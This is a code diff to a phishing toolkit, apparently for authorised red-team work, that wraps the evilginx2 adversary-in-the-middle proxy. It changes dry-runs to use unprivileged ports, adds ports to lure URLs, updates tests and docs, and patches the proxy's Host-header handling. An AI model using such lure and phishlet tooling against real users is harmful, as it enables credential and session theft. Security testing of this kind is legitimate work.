diff --git a/crates/phishkit-core/src/evilginx_ctl.rs b/crates/phishkit-core/src/evilginx_ctl.rs index 0c35efd..9b1a2dc 100644 --- a/crates/phishkit-core/src/evilginx_ctl.rs +++ b/crates/phishkit-core/src/evilginx_ctl.rs @@ -144,7 +144,7 @@ pub fn start_with_lure( ops.regenerate_path = false; } - // Wait briefly for background screen process / port 443 + // Wait briefly for background screen process / HTTPS listener let mut running = false; for _ in 0..40 { let (up, _) = evilginx_is_running(&root); @@ -161,9 +161,11 @@ pub fn start_with_lure( let _ = stop_evilginx(); return Err(AppError::msg(format!( "evilginx start failed:\n{combined}\n\ - Tip: privileged ports (:443/:53) need root/setcap, or set \ - EVILGINX_HTTPS_PORT/EVILGINX_DNS_PORT to high ports; see the evilginx log \ - (screen -r phishkit-evilginx)." + Tip: local dry-runs default to the unprivileged 8443, so the HTTPS \ + port may just be in use; privileged ports (:443/:53) instead need \ + root/setcap, or set PHISHKIT_HTTPS_PORT/PHISHKIT_DNS_PORT (or the \ + EVILGINX_* equivalents) to high ports. Check Advanced → Tail evilginx \ + log, or screen -r phishkit-evilginx." ))); } @@ -210,7 +212,7 @@ pub fn start_with_lure( let message = if !lure.is_empty() && running { format!("evilginx running in background · lure: {lure}") } else if !lure.is_empty() { - format!("Lure configured ({lure}) but process not detected yet — check log / port 443") + format!("Lure configured ({lure}) but process not detected yet — check log / HTTPS port") } else if running { "evilginx running in background (could not parse lure URL — see log)".into() } else { diff --git a/crates/phishkit-core/src/readiness.rs b/crates/phishkit-core/src/readiness.rs index 2b33dd4..91c281f 100644 --- a/crates/phishkit-core/src/readiness.rs +++ b/crates/phishkit-core/src/readiness.rs @@ -146,7 +146,7 @@ pub fn target_readiness(profile_id: String) -> AppResult { if proxy_running { "evilginx appears to be running" } else { - "No evilginx process detected on port 443" + "No evilginx process detected on the HTTPS port" }, "Start lure for this target", ); diff --git a/crates/phishkit-core/src/services.rs b/crates/phishkit-core/src/services.rs index 3f2dfb8..7eb81a1 100644 --- a/crates/phishkit-core/src/services.rs +++ b/crates/phishkit-core/src/services.rs @@ -94,7 +94,20 @@ pub fn evilginx_is_running(root: &std::path::Path) -> (bool, Option) { if screen_session_up("phishkit-evilginx") { return (true, None); } - let port_pid = port_pids(443).into_iter().chain(port_pids(8443)).next(); + // Default dry-runs bind the unprivileged 8443; production/privileged use 443. + // An operator override via PHISHKIT_HTTPS_PORT is checked first. + let mut candidates: Vec = Vec::new(); + if let Ok(raw) = std::env::var("PHISHKIT_HTTPS_PORT") { + if let Ok(p) = raw.trim().parse::() { + candidates.push(p); + } + } + for p in [8443u16, 443u16] { + if !candidates.contains(&p) { + candidates.push(p); + } + } + let port_pid = candidates.into_iter().flat_map(port_pids).next(); if let Some(pid) = port_pid { return (true, Some(pid)); } diff --git a/docs/reference/data-and-network.md b/docs/reference/data-and-network.md index 74f7bf5..79c40f1 100644 --- a/docs/reference/data-and-network.md +++ b/docs/reference/data-and-network.md @@ -13,6 +13,12 @@ Operator state defaults to **OS application directories** (not the git checkout) Override with `PHISHKIT_CONFIG`, `PHISHKIT_DATA`, and (for scripts) `EVILGINX_DATA_DIR`. Inspect resolved paths with `phishkit paths` or Settings in the desktop app. +The local dry-run proxy binds **unprivileged ports by default** so it never +needs `sudo`: HTTPS on `8443` and DNS on `5354`. The lure URL carries the +port when it isn't 443 (for example `https://portal.acme.phishkit:8443/login`). +Set `PHISHKIT_HTTPS_PORT=443` (and `PHISHKIT_DNS_PORT=53`) to use the +privileged ports, which then require elevated privileges to bind. + ## Local data | Data | Location | Notes | @@ -50,5 +56,8 @@ and only leave the machine if you export them. | `/etc/hosts` add | macOS (admin prompt) | Point the local dry-run domain at the proxy | | `/etc/hosts` remove | macOS (admin prompt) | Paired cleanup at end of engagement | -These modify the operator's own machine only. See +These modify the operator's own machine only. The dry-run proxy itself runs +without elevation because it binds unprivileged ports (`8443`/`5354`) by +default; only the opt-in `PHISHKIT_HTTPS_PORT=443`/`PHISHKIT_DNS_PORT=53` +override needs privileges to bind. See [platform support](/reference/platform-support) for the current matrix. diff --git a/kit/evilginx/scripts/configure_lure.py b/kit/evilginx/scripts/configure_lure.py index 542f68d..54642cc 100644 --- a/kit/evilginx/scripts/configure_lure.py +++ b/kit/evilginx/scripts/configure_lure.py @@ -48,11 +48,7 @@ def _repo_root() -> Path: def _env_port(name: str, default: int) -> int: - """Read an integer port from the environment, falling back to `default`. - - Lets a lab box run the lure on an unprivileged high port - (EVILGINX_HTTPS_PORT / EVILGINX_DNS_PORT) instead of requiring :443/:53. - """ + """Read an integer port from the environment, falling back to `default`.""" raw = (os.environ.get(name) or "").strip() if not raw: return default @@ -65,12 +61,29 @@ def _env_port(name: str, default: int) -> int: return port +# Local dry-runs default to unprivileged high ports so evilginx never needs +# root/sudo to bind 443/53. Both PHISHKIT_* and EVILGINX_* overrides are honored +# (PHISHKIT_* wins to match the Rust engine); set them to 443 / 53 to restore the +# privileged production ports. +def _first_env_port(names: tuple[str, ...], default: int) -> int: + for name in names: + if (os.environ.get(name) or "").strip(): + return _env_port(name, default) + return default + + def desired_https_port() -> int: - return _env_port("EVILGINX_HTTPS_PORT", 443) + return _first_env_port(("PHISHKIT_HTTPS_PORT", "EVILGINX_HTTPS_PORT"), 8443) def desired_dns_port() -> int: - return _env_port("EVILGINX_DNS_PORT", 53) + return _first_env_port(("PHISHKIT_DNS_PORT", "EVILGINX_DNS_PORT"), 5354) + + +def _port_suffix() -> str: + """':8443' for a non-standard HTTPS port, '' when bound to 443.""" + port = desired_https_port() + return "" if port == 443 else f":{port}" class ConfigureError(RuntimeError): pass @@ -200,7 +213,7 @@ def lure_from_config(dryrun_domain: str, phishlet: str) -> str | None: else: sub = _landing_sub(phishlet) host = f"{sub}.{domain}" if sub else domain - return f"https://{host}{path}" + return f"https://{host}{_port_suffix()}{path}" def _normalize_lure_ops(ops: dict | None) -> dict: @@ -277,8 +290,9 @@ def configure_via_config_json( general = cfg.get("general") or {} general["domain"] = dryrun_domain general["external_ipv4"] = "127.0.0.1" - # Honor high-port overrides so a lab run can avoid root (evilginx defaults - # https_port=443 / dns_port=53 when these are unset). + # Bind evilginx on the configured ports. Local dry-runs default to + # unprivileged high ports so a run never needs root to grab 443/53; set + # PHISHKIT_/EVILGINX_HTTPS_PORT (and the DNS equivalents) to override. general["https_port"] = desired_https_port() general["dns_port"] = desired_dns_port() # Empty = 403 on unauthorized requests (Evilginx default is a Rick Roll URL). @@ -379,7 +393,7 @@ def _resolve_lure_path(ops: dict) -> str: first_path = (cfg["lures"][0].get("path") or "").strip() if not first_path.startswith("/"): first_path = f"/{first_path}" if first_path else _pick_lure_path(phishlet) - return lure_from_config(dryrun_domain, phishlet) or f"https://{landing_host}{first_path}" + return lure_from_config(dryrun_domain, phishlet) or f"https://{landing_host}{_port_suffix()}{first_path}" def _socket_listening(port: int, host: str = "127.0.0.1") -> bool: """True if something accepts TCP connections on host:port. diff --git a/tests/python/test_configure_lure.py b/tests/python/test_configure_lure.py index 3bc3110..76ec97c 100644 --- a/tests/python/test_configure_lure.py +++ b/tests/python/test_configure_lure.py @@ -33,17 +33,26 @@ def _load_module(): class PortSelection(unittest.TestCase): + PORT_ENV = ( + "PHISHKIT_HTTPS_PORT", + "PHISHKIT_DNS_PORT", + "EVILGINX_HTTPS_PORT", + "EVILGINX_DNS_PORT", + ) + def setUp(self): - for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + for k in self.PORT_ENV: os.environ.pop(k, None) def tearDown(self): - for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + for k in self.PORT_ENV: os.environ.pop(k, None) - def test_defaults_are_privileged_ports(self): - self.assertEqual(cl.desired_https_port(), 443) - self.assertEqual(cl.desired_dns_port(), 53) + def test_defaults_are_unprivileged_ports(self): + # Local dry-runs default to high ports so evilginx never needs root/sudo + # to bind; set the env overrides to 443/53 for privileged production use. + self.assertEqual(cl.desired_https_port(), 8443) + self.assertEqual(cl.desired_dns_port(), 5354) def test_env_override_high_ports(self): os.environ["EVILGINX_HTTPS_PORT"] = "8443" @@ -51,6 +60,17 @@ def test_env_override_high_ports(self): self.assertEqual(cl.desired_https_port(), 8443) self.assertEqual(cl.desired_dns_port(), 5353) + def test_phishkit_env_takes_precedence(self): + os.environ["PHISHKIT_HTTPS_PORT"] = "9443" + os.environ["EVILGINX_HTTPS_PORT"] = "8443" + self.assertEqual(cl.desired_https_port(), 9443) + + def test_env_override_privileged_ports(self): + os.environ["PHISHKIT_HTTPS_PORT"] = "443" + os.environ["PHISHKIT_DNS_PORT"] = "53" + self.assertEqual(cl.desired_https_port(), 443) + self.assertEqual(cl.desired_dns_port(), 53) + def test_invalid_port_raises(self): os.environ["EVILGINX_HTTPS_PORT"] = "notaport" with self.assertRaises(cl.ConfigureError): @@ -187,11 +207,20 @@ def setUp(self): cl.EVILGINX_LOG = data / "evilginx.log" # Pre-seed a config with a stale enabled phishlet to prove it gets disabled. cl.CONFIG_JSON.write_text(json.dumps({"phishlets": {"stale": {"enabled": True}}})) + for k in self._PORT_ENV: + os.environ.pop(k, None) + + _PORT_ENV = ( + "PHISHKIT_HTTPS_PORT", + "PHISHKIT_DNS_PORT", + "EVILGINX_HTTPS_PORT", + "EVILGINX_DNS_PORT", + ) def tearDown(self): for k, v in self.saved.items(): setattr(cl, k, v) - for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + for k in self._PORT_ENV: os.environ.pop(k, None) self.tmp.cleanup() @@ -208,11 +237,11 @@ def test_writes_high_ports_and_enables_only_target(self): self.assertFalse(cfg["phishlets"]["stale"]["enabled"]) self.assertEqual(cfg["lures"][0]["phishlet"], "demo-cookie") - def test_defaults_to_privileged_ports(self): + def test_defaults_to_unprivileged_ports(self): cl.configure_via_config_json("demo-cookie", "demo-cookie.local.phishkit") cfg = json.loads(cl.CONFIG_JSON.read_text()) - self.assertEqual(cfg["general"]["https_port"], 443) - self.assertEqual(cfg["general"]["dns_port"], 53) + self.assertEqual(cfg["general"]["https_port"], 8443) + self.assertEqual(cfg["general"]["dns_port"], 5354) if __name__ == "__main__": diff --git a/vendor/evilginx2/core/http_proxy.go b/vendor/evilginx2/core/http_proxy.go index 05722a0..9f967e5 100644 --- a/vendor/evilginx2/core/http_proxy.go +++ b/vendor/evilginx2/core/http_proxy.go @@ -166,6 +166,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da ctx.UserData = ps hiblue := color.New(color.FgHiBlue) + // Phishkit: for privilege-free local dry-runs the proxy binds a + // non-standard HTTPS port (e.g. 8443), so the victim's Host header + // carries ":port". Strip it so phishlet / lure host matching, which + // expects a bare hostname, still works. Upstream dialing uses its own + // port regardless of the inbound one. + if host, _, splitErr := net.SplitHostPort(req.Host); splitErr == nil && host != "" { + req.Host = host + if req.URL != nil { + req.URL.Host = host + } + } + // handle ip blacklist from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0] diff --git a/vendor/evilginx2/core/phishlet.go b/vendor/evilginx2/core/phishlet.go index 1249075..68c9b2f 100644 --- a/vendor/evilginx2/core/phishlet.go +++ b/vendor/evilginx2/core/phishlet.go @@ -776,6 +776,16 @@ func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string { return ret } +// phishkitPortSuffix returns ":" when evilginx runs on a non-standard +// HTTPS port (e.g. 8443 for privilege-free local dry-runs), else "". +func (p *Phishlet) phishkitPortSuffix() string { + port := p.cfg.GetHttpsPort() + if port != 0 && port != 443 { + return fmt.Sprintf(":%d", port) + } + return "" +} + func (p *Phishlet) GetLureUrl(path string) (string, error) { var ret string host := p.cfg.GetBaseDomain() @@ -787,12 +797,12 @@ func (p *Phishlet) GetLureUrl(path string) (string, error) { } } } - ret = "https://" + host + path + ret = "https://" + host + p.phishkitPortSuffix() + path return ret, nil } func (p *Phishlet) GetLoginUrl() string { - return "https://" + p.login.domain + p.login.path + return "https://" + p.login.domain + p.phishkitPortSuffix() + p.login.path } func (p *Phishlet) GetLandingPhishHost() string {